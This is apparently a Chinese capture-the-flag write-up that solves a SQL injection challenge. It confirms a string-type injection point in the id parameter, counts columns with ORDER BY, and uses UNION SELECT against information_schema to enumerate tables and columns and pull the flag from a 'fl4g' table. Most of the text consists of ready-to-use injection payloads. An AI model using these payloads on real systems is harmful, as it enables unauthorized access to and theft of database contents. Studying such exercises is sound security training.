题目
先找注入点,看一url
发现了 ?id=1 测试一下是字符型注入还是数字型注入
分别对url进行如下修改,发现页面没有变化,证明不是数字型注入
id=1 and 1 = 1--+
id=1 and 1 = 2--+
分别对url进行如下修改
id=1' and 1 = 1--+
id=1' and 1 = 2--+
在更改url为第二个的时候,发现页面出现错误,证明存在字符型注入点
判断字符段的数量
id=1' order by 3 --+
id=1' order by 4 --+
输入id=1' order by 3 --+产生的回显
输入id=1' order by 4 --+ 未产生的回显
证明字段数为三位
用联合查询查一下数据库名
?id=-1' union select 1,database(),3 --+
数据库名就为note
查表名
?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
或者
?id=4' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
看看这些表里都有什么
fl4g表
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'--+
notes表
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='notes'--+
大概率flag在fl4g表里,看看表里有什么
?id=-4' union select 1,database(), group_concat(fllllag) from fl4g --+
flag出现了